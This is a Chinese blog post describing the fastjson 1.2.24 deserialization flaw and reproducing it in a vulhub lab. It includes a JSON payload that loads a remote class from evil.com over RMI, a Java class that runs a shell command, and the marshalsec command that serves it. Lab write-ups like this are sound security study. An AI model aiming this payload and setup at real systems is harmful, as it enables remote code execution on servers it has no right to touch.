赞
踩
fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞原理的简单理解,fastjson在反序列化的时候,会执行类中的set,get,is 方法,而1.2.24这个版本用户可以通过@type传入任意类进行反序列化。如此,就可以寻找可以执行恶意代码的反序列化链进行恶意代码执行
JdbcSetImpl类中有lookup,可以用来执行远程代码,而DataSourceName又可控
setDataSourceName为反序列化时可控参数,可以传入jndi,那么getDataSourceName()时,远程地址被传入
反序列化时connect()不会直接执行,setAutoCommit方法中调用了connect(),而setAutoCommit(boolean var1)在反序列化时会执行
于是可以构建的最终反序列化字符串为
{ “@type”:“com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:“rmi://evil.com:9999/TouchFile”, “autoCommit”:true }
可以使用vulhub靶场进行漏洞复现
启动靶场
docker-compose up -d
访问
编译恶意类,放到服务器
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类服务器IP地址:80/#TouchFile 6666
访问靶场并抓包
响应结果
进入容器内查看success已经成功写入
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。